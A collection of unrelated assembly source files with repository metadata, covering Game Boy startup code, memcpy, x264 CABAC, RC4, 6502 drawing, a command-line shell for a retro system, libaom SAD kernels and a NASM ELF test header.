;--------------------------------------------------------------------------
;- wait_vbl() -
;--------------------------------------------------------------------------
wait_vbl:
ld hl,_is_vbl_flag
ld [hl],0
._not_yet:
halt
bit 0,[hl]
jr z,._not_yet
ret
;--------------------------------------------------------------------------
;- CARTRIDGE HEADER -
;--------------------------------------------------------------------------
SECTION "Cartridge Header",HOME[$0100]
nop
jp StartPoint
DB $CE,$ED,$66,$66,$CC,$0D,$00,$0B,$03,$73,$00,$83,$00,$0C,$00,$0D
DB $00,$08,$11,$1F,$88,$89,$00,$0E,$DC,$CC,$6E,$E6,$DD,$DD,$D9,$99
DB $BB,$BB,$67,$63,$6E,$0E,$EC,$CC,$DD,$DC,$99,$9F,$BB,$B9,$33,$3E
; 0123456789ABC
DB "TESTING......"
DW $0000
DB $C0 ;GBC flag
DB 0,0,0 ;SuperGameboy
DB $1B ;CARTTYPE (MBC5+RAM+BATTERY)
DB 0 ;ROMSIZE
DB 2 ;RAMSIZE (8KB)
DB $01 ;Destination (0 = Japan, 1 = Non Japan)
DB $00 ;Manufacturer
DB 0 ;Version
DB 0 ;Complement check
DW 0 ;Checksum
;--------------------------------------------------------------------------
;- INITIALIZE THE GAMEBOY -
;--------------------------------------------------------------------------
SECTION "Program Start",HOME[$0150]
StartPoint:
di
ld sp,$FFFE ; Use this as stack for a while
push af ; Save CPU type
push bc
xor a,a
ld [rNR52],a ; Switch off sound
ld hl,_RAM ; Clear RAM
ld bc,$2000
ld d,$00
call memset
pop bc ; Get CPU type
pop af
ld [Init_Reg_A],a ; Save CPU type into RAM
ld a,b
ld [Init_Reg_B],a
ld sp,StackTop ; Real stack
call screen_off
ld hl,_VRAM ; Clear VRAM
ld bc,$2000
ld d,$00
call memset
ld hl,_HRAM ; Clear high RAM (and rIE)
ld bc,$0080
ld d,$00
call memset
call init_OAM ; Copy OAM refresh function to high ram
call refresh_OAM ; We filled RAM with $00, so this will clear OAM
call rom_handler_init
; Real program starts here
call Main
;Should never reach this point
jp Reset
;--------------------------------------------------------------------------
;- Reset() -
;--------------------------------------------------------------------------
Reset::
ld a,[Init_Reg_B]
ld b,a
ld a,[Init_Reg_A]
jp $0100
;--------------------------------------------------------------------------
;- irq_set_VBL() bc = function pointer -
;- irq_set_LCD() bc = function pointer -
;- irq_set_TIM() bc = function pointer -
;- irq_set_SIO() bc = function pointer -
;- irq_set_JOY() bc = function pointer -
;--------------------------------------------------------------------------
irq_set_VBL::
ld hl,VBL_handler
jr irq_set_handler
irq_set_LCD::
ld hl,LCD_handler
jr irq_set_handler
irq_set_TIM::
ld hl,TIM_handler
jr irq_set_handler
irq_set_SIO::
ld hl,SIO_handler
jr irq_set_handler
irq_set_JOY::
ld hl,JOY_handler
; jr irq_set_handler
irq_set_handler: ; hl = dest handler bc = function pointer
ld [hl],c
inc hl
ld [hl],b
ret
;--------------------------------------------------------------------------
;- CPU_fast() -
;- CPU_slow() -
;--------------------------------------------------------------------------
CPU_fast::
ld a,[rKEY1]
bit 7,a
jr z,__CPU_switch
ret
CPU_slow::
ld a,[rKEY1]
bit 7,a
jr nz,__CPU_switch
ret
__CPU_switch:
ld a,[rIE]
ld b,a ; save IE
xor a,a
ld [rIE],a
ld a,$30
ld [rP1],a
ld a,$01
ld [rKEY1],a
stop
ld a,b
ld [rIE],a ; restore IE
ret
;--------------------------------------------------------------------------
;- Variables -
;--------------------------------------------------------------------------
SECTION "StartupVars",BSS
Init_Reg_A:: DS 1
Init_Reg_B:: DS 1
_is_vbl_flag: DS 1
VBL_handler: DS 2
LCD_handler: DS 2
TIM_handler: DS 2
SIO_handler: DS 2
JOY_handler: DS 2
SECTION "Stack",BSS[$CE00]
Stack: DS $200
StackTop: ; $D000
| AntonioND/gbc-hw-tests | interrupts/serial_int_handle_timing_gbc_mode/init.asm | Assembly | mit | 6,368 |
;------------------------------------------------------------------------------
;
; Copyright (c) 2007, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; CopyMem.asm
;
; Abstract:
;
; memcpy function
;
; Notes:
;
;------------------------------------------------------------------------------
.686
.model flat,C
.mmx
.code
;------------------------------------------------------------------------------
; VOID *
; memcpy (
; IN VOID *Destination,
; IN VOID *Source,
; IN UINTN Count
; );
;------------------------------------------------------------------------------
memcpy PROC USES esi edi
mov esi, [esp + 16] ; esi <- Source
mov edi, [esp + 12] ; edi <- Destination
mov edx, [esp + 20] ; edx <- Count
cmp esi, edi
je @CopyDone
cmp edx, 0
je @CopyDone
lea eax, [esi + edx - 1] ; eax <- End of Source
cmp esi, edi
jae @F
cmp eax, edi
jae @CopyBackward ; Copy backward if overlapped
@@:
mov ecx, edx
and edx, 3
shr ecx, 2
rep movsd ; Copy as many Dwords as possible
jmp @CopyBytes
@CopyBackward:
mov esi, eax ; esi <- End of Source
lea edi, [edi + edx - 1] ; edi <- End of Destination
std
@CopyBytes:
mov ecx, edx
rep movsb ; Copy bytes backward
cld
@CopyDone:
mov eax, [esp + 12]
ret
memcpy ENDP
END
| google/google-ctf | third_party/edk2/EdkCompatibilityPkg/Foundation/Library/CompilerStub/Ia32/memcpyRep4.asm | Assembly | apache-2.0 | 2,088 |
;*****************************************************************************
;* cabac-a.asm: h264 encoder library
;*****************************************************************************
;* Copyright (C) 2008 x264 project
;*
;* Author: Loren Merritt <lorenm@u.washington.edu>
;* Jason Garrett-Glaser <darkshikari@gmail.com>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*****************************************************************************
%include "x86inc.asm"
SECTION_RODATA
SECTION .text
cextern x264_cabac_range_lps
cextern x264_cabac_transition
cextern x264_cabac_renorm_shift
%macro DEF_TMP 16
%rep 8
%define t%1d r%9d
%define t%1b r%9b
%define t%1 r%9
%rotate 1
%endrep
%endmacro
; t3 must be ecx, since it's used for shift.
%ifdef ARCH_X86_64
DEF_TMP 0,1,2,3,4,5,6,7, 0,1,2,3,4,5,6,10
%define pointer resq
%else
DEF_TMP 0,1,2,3,4,5,6,7, 0,3,2,1,4,5,6,3
%define pointer resd
%endif
struc cb
.low: resd 1
.range: resd 1
.queue: resd 1
.bytes_outstanding: resd 1
.start: pointer 1
.p: pointer 1
.end: pointer 1
align 16, resb 1
.bits_encoded: resd 1
.state: resb 460
endstruc
%macro LOAD_GLOBAL 4
%ifdef PIC
; this would be faster if the arrays were declared in asm, so that I didn't have to duplicate the lea
lea r11, [%2 GLOBAL]
%ifnidn %3, 0
add r11, %3
%endif
movzx %1, byte [r11+%4]
%else
movzx %1, byte [%2+%3+%4]
%endif
%endmacro
cglobal x264_cabac_encode_decision_asm, 0,7
movifnidn t0d, r0m
movifnidn t1d, r1m
mov t5d, [r0+cb.range]
movzx t3d, byte [r0+cb.state+t1]
mov t4d, t5d
shr t5d, 6
and t5d, 3
LOAD_GLOBAL t5d, x264_cabac_range_lps, t5, t3*4
sub t4d, t5d
mov t6d, t3d
shr t6d, 6
movifnidn t2d, r2m
cmp t6d, t2d
mov t6d, [r0+cb.low]
lea t7, [t6+t4]
cmovne t4d, t5d
cmovne t6d, t7d
LOAD_GLOBAL t3d, x264_cabac_transition, t2, t3*2
movifnidn t1d, r1m
mov [r0+cb.state+t1], t3b
.renorm:
mov t3d, t4d
shr t3d, 3
LOAD_GLOBAL t3d, x264_cabac_renorm_shift, 0, t3
shl t4d, t3b
shl t6d, t3b
add t3d, [r0+cb.queue]
mov [r0+cb.range], t4d
mov [r0+cb.low], t6d
mov [r0+cb.queue], t3d
cmp t3d, 8
jge .putbyte
REP_RET
.putbyte:
; alive: t0=cb t3=queue t6=low
add t3d, 2
mov t1d, 1
mov t2d, t6d
shl t1d, t3b
shr t2d, t3b ; out
dec t1d
sub t3d, 10
and t6d, t1d
cmp t2b, 0xff ; FIXME is a 32bit op faster?
mov [r0+cb.queue], t3d
mov [r0+cb.low], t6d
mov t1d, t2d
mov t4, [r0+cb.p]
je .postpone
mov t5d, [r0+cb.bytes_outstanding]
shr t1d, 8 ; carry
add [t4-1], t1b
test t5d, t5d
jz .no_outstanding
dec t1d
.loop_outstanding:
mov [t4], t1b
inc t4
dec t5d
jg .loop_outstanding
.no_outstanding:
mov [t4], t2b
inc t4
mov [r0+cb.bytes_outstanding], t5d ; is zero, but a reg has smaller opcode than an immediate
mov [r0+cb.p], t4
RET
.postpone:
inc dword [r0+cb.bytes_outstanding]
RET
| bamos/parsec-benchmark | pkgs/apps/x264/src/common/x86/cabac-a.asm | Assembly | bsd-3-clause | 3,865 |
.686p
.mmx
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
extern rc4keytable:DWORD
.code
rc4_crypt proc ptrData:DWORD, lData:DWORD
pushad
mov edi, dword ptr [esp+20h+4+4] ;lData
mov esi, dword ptr [esp+20h+4] ;ptrData
test edi, edi
jz @rc4_enc_exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
@@: inc bl
mov dl, byte ptr [rc4keytable+ebx]
add al, dl
mov cl, byte ptr [rc4keytable+eax]
mov byte ptr [rc4keytable+ebx], cl
mov byte ptr [rc4keytable+eax], dl
add cl, dl
mov cl, byte ptr [rc4keytable+ecx]
xor byte ptr [esi], cl
inc esi
dec edi
jnz @B
@rc4_enc_exit:
popad
ret 8
rc4_crypt endp
end | FloydZ/Crypto-Hash | ecdsa128/src/aRC4_src/src/rc4_crypt.asm | Assembly | mit | 669 |
; adresse 0200 in Speicher 00 und 01 speichern
lda #$00 ;xpos
sta $0
lda #$02 ;ypos
sta $1
lda #$00 ;y counter
sta $3
ldy $3 ;y initialisieren
draw:
lda $03
cmp #$ff
beq newLine
lda #$3 ; Wert 3 (türkis) in akku laden
; 1 an die Adresse aus Speicher 00+y schreiben
sta ($00), y
iny
sty $03 ;y zwischenspeichern, wenn grösser als 256, dann ypos inc
jmp draw
newLine:
lda #$3
sta ($00), y
ldx $1
inx
stx $1
ldy #$0 ;reset y
sty $03
jmp draw
| raeffu/ginf-assembler | dot-by-dot.asm | Assembly | mit | 477 |
;---------------------------------------
; CLi² (Command Line Interface) parser & commands
; 2013,2016 © breeze/fishbone crew
;---------------------------------------
; Command line parser
;---------------------------------------
; In: de, command string addr
; hl, table of commands list
; bc, номер текущей строки в SH скрипте, =1 просто вызов
; Out:a,#ff = command not found
; a,#00 - command found, hl - addr params start
;---------------------------------------
showHelp
;---------------
; Внутренние команды
;---------------
ld hl,helpMsg
call _printOkString
ld hl,helpMsg1
call _printOkString
ld hl,cmdTable
call showEmbedded
ld hl,returnMsg
call _printString
ld hl,helpMsg2
call _printOkString
ld hl,helpMsg1
call _printOkString
ld a,cLemonCream
call setInk
ld hl,opTable
call showEmbedded
ld hl,returnMsg
call _printString
ld hl,helpMsg
call _printOkString
ld hl,helpMsg3
call _printOkString
call showExternal
ld hl,returnMsg
jp _printString
;---------------
showEmbedded
shLoop_0 ld de,tmpPrintStr
push hl
push de
inc de
ld hl,tmpPrintStr
ld bc,254
xor a
ld (hl),a
ldir
pop de
pop hl
ld c,#00 ; длина команды
shLoop_1 ld a,(hl)
cp "*"
jr z,shPrint_0
ld (de),a
inc c
inc hl
inc de
jr shLoop_1
shPrint_0 push hl,bc
ld hl,tmpPrintStr
call _printString
pop bc
ld a,c
cp 13
jr nc,shSkip_0
ld a,13
sbc c
call codeSkip
shSkip_0 pop hl
inc hl ; +*
inc hl
inc hl ; +addr
ld a,(hl)
cp #00 ; конец таблицы
jr nz,shLoop_0
ld hl,returnMsg
jp _printString
;---------------
showExternal call storeRam3
ld a,scopeBinBank
call setRamPage3
ld hl,scopeBinAddr
seLoop_0 ld de,tmpPrintStr
push hl
push de
inc de
ld hl,tmpPrintStr
ld bc,254
xor a
ld (hl),a
ldir
pop de
pop hl
ld a,(hl)
cp #00
jp z,seEnd
ld bc,8
ldir
push hl
ld hl,tmpPrintStr
call _printString
ld a,c
cp #00
jr z,seSkip_0
ld a,1+3 ; 8 + 2 + 3 = 13
call codeSkip
seSkip_0 pop hl
jr seLoop_0
seEnd ld hl,returnMsg
call _printString
jp reStoreRam3
;---------------------------------------
scopeBinary ld a,scopeBinBank
call setRamPage3
call clearScopeBin
call storePath
ld de,scopeBinAddr
ld (sbCopyName+1),de
ld de,binPath
call changeDir
cp #ff ; not found /bin?
ret z
ld a,fSetDir
call fatDriver
sbLoop ld de,lsBuffer
ld a,fGetNextEntryDir
call fatDriver
jr z,sbEnd ; конец директории
ld hl,lsBuffer+12 ; флаги файла
bit 3,(hl)
jr nz,sbLoop ; если 1, то запись это ID тома
bit 4,(hl) ; если 1, то каталог
jr nz,sbLoop
inc hl ; Начало имени
ld a,(hl)
cp "." ; Пропустить файлы «.» и «..»
jr z,sbLoop
push hl
sbChek0 ld a,(hl)
cp #00
jr z,sbSkipFile
cp "."
jr z,sbChek1
inc hl
jr sbChek0
sbChek1 inc hl
ld a,(hl)
cp " " ; 1) три пробела в расширении !
jr nz,sbSkipFile
inc hl
ld a,(hl)
cp " " ; 2) три пробела в расширении !
jr nz,sbSkipFile
inc hl
ld a,(hl)
cp " " ; 3) три пробела в расширении !
jr nz,sbSkipFile
inc hl
ld a,(hl)
cp #00 ; И дальше ничего!
jr nz,sbSkipFile
pop hl
sbCopyName ld de,scopeBinAddr
push de
ld b,#08 ; Имя файла не длиннее 8 символов
sbCopyLoop ld a,(hl)
cp "." ; Если имя корече 8 символов
jr z,sbCopyEnd
ld (de),a
inc hl
inc de
djnz sbCopyLoop
sbCopyEnd pop hl
ld bc,#08
add hl,bc
ld (sbCopyName+1),hl
jr sbLoop
sbSkipFile pop af
jr sbLoop
sbEnd call restorePath
xor a ; no error
ld hl,(sbCopyName+1)
ld (hl),a
ret
clearScopeBin ld hl,scopeBinAddr
ld de,scopeBinAddr+1
ld bc,palAddr-scopeBinAddr-1
ld a," "
ld (hl),a
ldir
ret
;---------------------------------------
store2byte ld a,l
ld (de),a
inc hl
inc de
ld a,h
ld (de),a
inc de
ret
prepareSaveEntry
push hl
push de
call clearEntryForSearch
ld de,entryForSearch
ld (de),a ; fileFlag
inc de
push bc ; bc -> hl
pop hl
call store2byte
pop hl ; de -> hl
call store2byte
pop hl ; имя
pseLoop ld a,(hl)
cp #00
ret z
ld (de),a
inc hl
inc de
jr pseLoop
;---------------------------------------
clearEntryForSearch
push hl,de,bc,af
ld hl,entryForSearch
ld de,entryForSearch+1
ld bc,254
xor a
ld (hl),a
ldir
pop af,bc,de,hl
ret
;---------------------------------------
changeDirCmd call changeDir
cp #ff
ret nz
ld hl,dirNotFoundMsg
ld b,#ff
jp _printErrorString
;---------------------------------------
changeDir ex de,hl ; hl params
ld a,(hl)
cp "/"
call z,resetToRoot
push hl
cdLoop ld a,(hl)
cp #00
jr z,cdLastCheck
cp "/"
jr z,changeNow
inc hl
jr cdLoop
changeNow ex de,hl
xor a
ld (de),a ; end current pos
pop hl
push de ; store next pos
ld a,flagDir ; directory
call prepareEntry
call eSearch
jp z,cdNotFound-1
call setDirBegin
call setPathString
pop hl
ld a,"/"
ld (hl),a
inc hl
jr cdLoop-1
cdLastCheck pop hl
ld a,(hl)
cp #00
jp z,cdExitOk
ld a,flagDir ; directory
call prepareEntry
call eSearch
jr z,cdNotFound
call setDirBegin
call setPathString
jr cdExitOk
setPathString ld hl,entryForSearch+1
ld a,(hl)
cp "."
jr nz,incPath
inc hl
ld a,(hl)
cp "."
jr z,decPath
cp #00 ; single dir .
ret z
jr incPath
decPath ld a,(lsPathCount)
dec a
ld (lsPathCount),a
ld hl,pathString
ld bc,(pathStrPos)
add hl,bc
ld e,#00
ld (hl),e ; pos
dec hl
dec bc
cdDelLoop ld (hl),e ; /
dec hl
dec bc
ld a,(hl)
cp "/"
jr nz,cdDelLoop
inc bc
ld (pathStrPos),bc
ret
incPath ld a,(lsPathCount)
inc a
ld (lsPathCount),a
ld hl,pathString
ld bc,(pathStrPos)
add hl,bc
ex de,hl
ld hl,entryForSearch+1
cdLoopPath ld a,(hl)
cp #00
jr z,cdEndPath
ld (de),a
inc hl
inc de
inc bc
jr cdLoopPath
cdEndPath ld a,"/"
ld (de),a
inc bc
ld (pathStrPos),bc
ret
pop hl
cdNotFound ld hl,pathString
ld bc,(pathStrPos)
add hl,bc
ld a,#0d
ld (hl),a
ld a,#ff ; error
ret
cdExitOk ld hl,pathString
ld bc,(pathStrPos)
add hl,bc
ld a,#0d
ld (hl),a
xor a ; alt no error
ex af,af'
xor a ; no error
ret
resetToRoot inc hl
push hl
call pathToRoot
xor a
ld (lsPathCount),a
call _initPath
pop hl
ret
;---------------------------------------
_initPath ld hl,pathString
ld de,pathString+1
ld bc,pathStrSize-1
xor a
ld (hl),a
ldir
ld bc,#0001
ld (pathStrPos),bc
ld a,"/"
ld (pathString),a
ld a,#0d
ld (pathString+1),a
xor a
ld (lsPathCount),a
ret
;---------------------------------------
clearScreen ex de,hl
ld a,(hl)
cp #00
jr z,clearTxtScreen
cp "-"
jr nz,clearTxtScreen
inc hl
ld a,(hl)
cp "g"
jr nz,clearTxtScreen
inc hl
ex de,hl
call _getNumberFromParams
cp #ff
jp z,_printErrParams
ld a,h
cp #00
jp nz,_printErrParams
ld a,l
cp #04
jp nc,_printErrParams
ld c,#00 ; номер цвета
jp _clearGfxMemory+1
clearTxtScreen xor a
jp PR_POZ
;---------------------------------------
pathWorkDir ld hl,pathString
call _printString
jp printReturn
;---------------------------------------
switchScreen ex de,hl
call _str2int
ld a,h
cp #00
jp nz,_printErrParams
ld a,l
cp #00
jp z,_switchTxtMode
ld b,a
cp #04
jp c,_switchGfxMode
jp _printErrParams
;---------------------------------------
_runApp call _run
cp #ff
ret nz
ld hl,wrongAppMsg
ld b,a ; #ff
jp _printErrorString
;---------------------------------------
scopeBinaryCmd call scopeBinary
cp #ff
jr z,scopeBinaryErr
ld hl,okBinMgs
jp _printOkString
scopeBinaryErr ld hl,errorBinMgs
ld b,#ff
jp _printErrorString
;---------------------------------------
locale ex de,hl
ld a,(hl)
cp #00
jr z,showLocale
ld de,sysLocale
call upperCase
ld (de),a
inc hl
inc de
ld a,(hl)
call upperCase
ld (de),a
ret
showLocale call _getLocale
push hl
ld a,h
call printSChar
pop hl
ld a,l
call printSChar
jp printReturn
;---------------------------------------
| LessNick/cli2 | src/system/commands.asm | Assembly | bsd-3-clause | 9,074 |
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "third_party/x86inc/x86inc.asm"
SECTION .text
%macro SAD_FN 4
%if %4 == 0
%if %3 == 5
cglobal sad%1x%2, 4, %3, 5, src, src_stride, ref, ref_stride, n_rows
%else ; %3 == 7
cglobal sad%1x%2, 4, %3, 6, src, src_stride, ref, ref_stride, \
src_stride3, ref_stride3, n_rows
%endif ; %3 == 5/7
%else ; avg
%if %3 == 5
cglobal sad%1x%2_avg, 5, 1 + %3, 5, src, src_stride, ref, ref_stride, \
second_pred, n_rows
%else ; %3 == 7
cglobal sad%1x%2_avg, 5, ARCH_X86_64 + %3, 6, src, src_stride, \
ref, ref_stride, \
second_pred, \
src_stride3, ref_stride3
%if ARCH_X86_64
%define n_rowsd r7d
%else ; x86-32
%define n_rowsd dword r0m
%endif ; x86-32/64
%endif ; %3 == 5/7
%endif ; avg/sad
movsxdifnidn src_strideq, src_strided
movsxdifnidn ref_strideq, ref_strided
%if %3 == 7
lea src_stride3q, [src_strideq*3]
lea ref_stride3q, [ref_strideq*3]
%endif ; %3 == 7
%endmacro
; unsigned int aom_sad128x128_sse2(uint8_t *src, int src_stride,
; uint8_t *ref, int ref_stride);
%macro SAD128XN 1-2 0
SAD_FN 128, %1, 5, %2
mov n_rowsd, %1
pxor m0, m0
.loop:
movu m1, [refq]
movu m2, [refq+16]
movu m3, [refq+32]
movu m4, [refq+48]
%if %2 == 1
pavgb m1, [second_predq+mmsize*0]
pavgb m2, [second_predq+mmsize*1]
pavgb m3, [second_predq+mmsize*2]
pavgb m4, [second_predq+mmsize*3]
%endif
psadbw m1, [srcq]
psadbw m2, [srcq+16]
psadbw m3, [srcq+32]
psadbw m4, [srcq+48]
paddd m1, m2
paddd m3, m4
paddd m0, m1
paddd m0, m3
movu m1, [refq+64]
movu m2, [refq+80]
movu m3, [refq+96]
movu m4, [refq+112]
%if %2 == 1
pavgb m1, [second_predq+mmsize*4]
pavgb m2, [second_predq+mmsize*5]
pavgb m3, [second_predq+mmsize*6]
pavgb m4, [second_predq+mmsize*7]
lea second_predq, [second_predq+mmsize*8]
%endif
psadbw m1, [srcq+64]
psadbw m2, [srcq+80]
psadbw m3, [srcq+96]
psadbw m4, [srcq+112]
add refq, ref_strideq
add srcq, src_strideq
paddd m1, m2
paddd m3, m4
paddd m0, m1
paddd m0, m3
sub n_rowsd, 1
jg .loop
movhlps m1, m0
paddd m0, m1
movd eax, m0
RET
%endmacro
INIT_XMM sse2
SAD128XN 128 ; sad128x128_sse2
SAD128XN 128, 1 ; sad128x128_avg_sse2
SAD128XN 64 ; sad128x64_sse2
SAD128XN 64, 1 ; sad128x64_avg_sse2
; unsigned int aom_sad64x64_sse2(uint8_t *src, int src_stride,
; uint8_t *ref, int ref_stride);
%macro SAD64XN 1-2 0
SAD_FN 64, %1, 5, %2
mov n_rowsd, %1
pxor m0, m0
.loop:
movu m1, [refq]
movu m2, [refq+16]
movu m3, [refq+32]
movu m4, [refq+48]
%if %2 == 1
pavgb m1, [second_predq+mmsize*0]
pavgb m2, [second_predq+mmsize*1]
pavgb m3, [second_predq+mmsize*2]
pavgb m4, [second_predq+mmsize*3]
lea second_predq, [second_predq+mmsize*4]
%endif
psadbw m1, [srcq]
psadbw m2, [srcq+16]
psadbw m3, [srcq+32]
psadbw m4, [srcq+48]
paddd m1, m2
paddd m3, m4
add refq, ref_strideq
paddd m0, m1
add srcq, src_strideq
paddd m0, m3
dec n_rowsd
jg .loop
movhlps m1, m0
paddd m0, m1
movd eax, m0
RET
%endmacro
INIT_XMM sse2
SAD64XN 128 ; sad64x128_sse2
SAD64XN 128, 1 ; sad64x128_avg_sse2
SAD64XN 64 ; sad64x64_sse2
SAD64XN 32 ; sad64x32_sse2
SAD64XN 64, 1 ; sad64x64_avg_sse2
SAD64XN 32, 1 ; sad64x32_avg_sse2
SAD64XN 16 ; sad64x16_sse2
SAD64XN 16, 1 ; sad64x16_avg_sse2
; unsigned int aom_sad32x32_sse2(uint8_t *src, int src_stride,
; uint8_t *ref, int ref_stride);
%macro SAD32XN 1-2 0
SAD_FN 32, %1, 5, %2
mov n_rowsd, %1/2
pxor m0, m0
.loop:
movu m1, [refq]
movu m2, [refq+16]
movu m3, [refq+ref_strideq]
movu m4, [refq+ref_strideq+16]
%if %2 == 1
pavgb m1, [second_predq+mmsize*0]
pavgb m2, [second_predq+mmsize*1]
pavgb m3, [second_predq+mmsize*2]
pavgb m4, [second_predq+mmsize*3]
lea second_predq, [second_predq+mmsize*4]
%endif
psadbw m1, [srcq]
psadbw m2, [srcq+16]
psadbw m3, [srcq+src_strideq]
psadbw m4, [srcq+src_strideq+16]
paddd m1, m2
paddd m3, m4
lea refq, [refq+ref_strideq*2]
paddd m0, m1
lea srcq, [srcq+src_strideq*2]
paddd m0, m3
dec n_rowsd
jg .loop
movhlps m1, m0
paddd m0, m1
movd eax, m0
RET
%endmacro
INIT_XMM sse2
SAD32XN 64 ; sad32x64_sse2
SAD32XN 32 ; sad32x32_sse2
SAD32XN 16 ; sad32x16_sse2
SAD32XN 64, 1 ; sad32x64_avg_sse2
SAD32XN 32, 1 ; sad32x32_avg_sse2
SAD32XN 16, 1 ; sad32x16_avg_sse2
SAD32XN 8 ; sad_32x8_sse2
SAD32XN 8, 1 ; sad_32x8_avg_sse2
; unsigned int aom_sad16x{8,16}_sse2(uint8_t *src, int src_stride,
; uint8_t *ref, int ref_stride);
%macro SAD16XN 1-2 0
SAD_FN 16, %1, 7, %2
mov n_rowsd, %1/4
pxor m0, m0
.loop:
movu m1, [refq]
movu m2, [refq+ref_strideq]
movu m3, [refq+ref_strideq*2]
movu m4, [refq+ref_stride3q]
%if %2 == 1
pavgb m1, [second_predq+mmsize*0]
pavgb m2, [second_predq+mmsize*1]
pavgb m3, [second_predq+mmsize*2]
pavgb m4, [second_predq+mmsize*3]
lea second_predq, [second_predq+mmsize*4]
%endif
psadbw m1, [srcq]
psadbw m2, [srcq+src_strideq]
psadbw m3, [srcq+src_strideq*2]
psadbw m4, [srcq+src_stride3q]
paddd m1, m2
paddd m3, m4
lea refq, [refq+ref_strideq*4]
paddd m0, m1
lea srcq, [srcq+src_strideq*4]
paddd m0, m3
dec n_rowsd
jg .loop
movhlps m1, m0
paddd m0, m1
movd eax, m0
RET
%endmacro
INIT_XMM sse2
SAD16XN 32 ; sad16x32_sse2
SAD16XN 16 ; sad16x16_sse2
SAD16XN 8 ; sad16x8_sse2
SAD16XN 32, 1 ; sad16x32_avg_sse2
SAD16XN 16, 1 ; sad16x16_avg_sse2
SAD16XN 8, 1 ; sad16x8_avg_sse2
SAD16XN 4 ; sad_16x4_sse2
SAD16XN 4, 1 ; sad_16x4_avg_sse2
SAD16XN 64 ; sad_16x64_sse2
SAD16XN 64, 1 ; sad_16x64_avg_sse2
; unsigned int aom_sad8x{8,16}_sse2(uint8_t *src, int src_stride,
; uint8_t *ref, int ref_stride);
%macro SAD8XN 1-2 0
SAD_FN 8, %1, 7, %2
mov n_rowsd, %1/4
pxor m0, m0
.loop:
movh m1, [refq]
movhps m1, [refq+ref_strideq]
movh m2, [refq+ref_strideq*2]
movhps m2, [refq+ref_stride3q]
%if %2 == 1
pavgb m1, [second_predq+mmsize*0]
pavgb m2, [second_predq+mmsize*1]
lea second_predq, [second_predq+mmsize*2]
%endif
movh m3, [srcq]
movhps m3, [srcq+src_strideq]
movh m4, [srcq+src_strideq*2]
movhps m4, [srcq+src_stride3q]
psadbw m1, m3
psadbw m2, m4
lea refq, [refq+ref_strideq*4]
paddd m0, m1
lea srcq, [srcq+src_strideq*4]
paddd m0, m2
dec n_rowsd
jg .loop
movhlps m1, m0
paddd m0, m1
movd eax, m0
RET
%endmacro
INIT_XMM sse2
SAD8XN 16 ; sad8x16_sse2
SAD8XN 8 ; sad8x8_sse2
SAD8XN 4 ; sad8x4_sse2
SAD8XN 16, 1 ; sad8x16_avg_sse2
SAD8XN 8, 1 ; sad8x8_avg_sse2
SAD8XN 4, 1 ; sad8x4_avg_sse2
SAD8XN 32 ; sad_8x32_sse2
SAD8XN 32, 1 ; sad_8x32_avg_sse2
; unsigned int aom_sad4x{4, 8}_sse2(uint8_t *src, int src_stride,
; uint8_t *ref, int ref_stride);
%macro SAD4XN 1-2 0
SAD_FN 4, %1, 7, %2
mov n_rowsd, %1/4
pxor m0, m0
.loop:
movd m1, [refq]
movd m2, [refq+ref_strideq]
movd m3, [refq+ref_strideq*2]
movd m4, [refq+ref_stride3q]
punpckldq m1, m2
punpckldq m3, m4
movlhps m1, m3
%if %2 == 1
pavgb m1, [second_predq+mmsize*0]
lea second_predq, [second_predq+mmsize*1]
%endif
movd m2, [srcq]
movd m5, [srcq+src_strideq]
movd m4, [srcq+src_strideq*2]
movd m3, [srcq+src_stride3q]
punpckldq m2, m5
punpckldq m4, m3
movlhps m2, m4
psadbw m1, m2
lea refq, [refq+ref_strideq*4]
paddd m0, m1
lea srcq, [srcq+src_strideq*4]
dec n_rowsd
jg .loop
movhlps m1, m0
paddd m0, m1
movd eax, m0
RET
%endmacro
INIT_XMM sse2
SAD4XN 8 ; sad4x8_sse
SAD4XN 4 ; sad4x4_sse
SAD4XN 8, 1 ; sad4x8_avg_sse
SAD4XN 4, 1 ; sad4x4_avg_sse
SAD4XN 16 ; sad_4x16_sse2
SAD4XN 16, 1 ; sad_4x16_avg_sse2
| endlessm/chromium-browser | third_party/libaom/source/libaom/aom_dsp/x86/sad_sse2.asm | Assembly | bsd-3-clause | 10,920 |
;Testname=unoptimized; Arguments=-O0 -felf -oelfso.o; Files=stdout stderr elfso.o
;Testname=optimized; Arguments=-Ox -felf -oelfso.o; Files=stdout stderr elfso.o
; test source file for assembling to ELF shared library
; build with:
; nasm -f elf elfso.asm
; ld -shared -o elfso.so elfso.o
; test with:
; gcc -o elfso elftest.c ./elfso.so
; ./elfso
; (assuming your gcc is ELF, and you're running bash)
; This file should test the following:
; [1] Define and export a global text-section symbol
; [2] Define and export a global data-section symbol
; [3] Define and export a global BSS-section symbol
; [4] Define a non-global text-section symbol
; [5] Define a non-global data-section symbol
; [6] Define a non-global BSS-section symbol
; [7] Define a COMMON symbol
; [8] Define a NASM local label
; [9] Reference a NASM local label
; [10] Import an external symbol
; [11] Make a PC-relative call to an external symbol
; [12] Reference a text-section symbol in the text section
; [13] Reference a data-section symbol in the text section
